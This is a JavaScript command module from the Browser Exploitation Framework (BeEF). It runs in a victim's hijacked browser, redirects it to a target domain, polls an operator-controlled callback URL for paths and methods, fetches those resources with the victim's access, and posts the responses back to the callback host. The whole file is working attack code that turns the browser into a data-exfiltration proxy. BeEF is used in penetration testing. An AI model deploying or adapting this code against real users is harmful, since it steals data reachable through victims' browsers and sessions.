//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
    var domain = "<%= @domain %>"
    if (window.location.href.indexOf(domain) == -1) {
       window.location.href = "http://"+domain+"/";
    } else {
        //Cut '/' from url
        var url = window.location.href.slice(0, -1);
        var url_callback = "<%= @url_callback %>";
        url_callback += '/?from=from_victim&&';

        function get_next_query() {
                var xhr_callback = new XMLHttpRequest();
                //Synchronous because we do nothing without query from BeEF owner
                xhr_callback.open('GET', url_callback+'que=req', true);
                xhr_callback.onload = resolv_query;
                xhr_callback.send(null);
        }

        function resolv_query() {
                var path = this.getResponseHeader('path');
                var method = this.getResponseHeader('method');
                var data = this.responseText;

                //Asynchronous beacuse XHR2 don't work with responseType when synchronous
                var xhr = new XMLHttpRequest();
                xhr.open(method, url+path, true);
                xhr.responseType = 'arraybuffer'
                xhr.onload = function(e) {
                    var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});
                    beef.debug(blob);
                    xhr_cb = new XMLHttpRequest();
                    xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);
                    xhr_cb.send(blob);

                    elem = document.createElement("div");
                    elem.id = 'log';
                    elem.innerHTML = 'Downloaded: '+path;
                    document.body.insertBefore(elem, document.body.childNodes[0]);
                }
                xhr.send(data);
        }

        xhr1 = new XMLHttpRequest();
        xhr1.open('GET', url+'/?load', false);
        xhr1.send(null);
        if (xhr1.status == 200) {
            setInterval(get_next_query, 1000);
        }

    }
});
